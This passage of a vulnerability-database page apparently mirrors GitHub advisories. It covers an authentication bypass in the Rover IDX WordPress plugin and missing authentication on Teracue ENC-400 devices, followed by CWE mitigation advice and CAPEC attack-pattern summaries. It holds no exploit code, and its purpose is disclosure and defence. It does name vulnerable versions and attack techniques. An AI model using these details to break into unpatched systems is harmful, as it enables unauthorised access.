  "details": "The Rover IDX plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 3.0.0.2905. This is due to insufficient validation and capability check on the \u0027rover_idx_refresh_social_callback\u0027 function. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to log in to administrator. The vulnerability is partially patched in version 3.0.0.2905 and fully patched in version 3.0.0.2906.",
  "id": "GHSA-p25v-3q9m-p32x",
  "modified": "2024-10-22T06:31:13Z",
  "published": "2024-10-22T06:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10002"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/rover-idx/tags/3.0.0.2903/admin/rover-panel-social.php#L153"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/rover-idx/tags/3.0.0.2903/rover-social-common.php#L148"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3173032/rover-idx/trunk/rover-social-common.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5cf6a9fb-3c3b-48ad-a39b-77a529b89901?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P26R-3433-9CC5

Vulnerability from github – Published: 2022-05-13 01:19 – Updated: 2022-05-13 01:19
VLAI
Details

An issue was discovered on Teracue ENC-400 devices with firmware 2.56 and below. While the web interface requires authentication before it can be interacted with, a large portion of the HTTP endpoints are missing authentication. An attacker is able to view these pages before being authenticated, and some of these pages may disclose sensitive information.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-20220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-21T16:00:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on Teracue ENC-400 devices with firmware 2.56 and below. While the web interface requires authentication before it can be interacted with, a large portion of the HTTP endpoints are missing authentication. An attacker is able to view these pages before being authenticated, and some of these pages may disclose sensitive information.",
  "id": "GHSA-p26r-3433-9cc5",
  "modified": "2022-05-13T01:19:53Z",
  "published": "2022-05-13T01:19:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20220"
    },
    {
      "type": "WEB",
      "url": "https://zxsecurity.co.nz/research.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/151802/Teracue-ENC-400-Command-Injection-Missing-Authentication.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2019/Feb/48"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list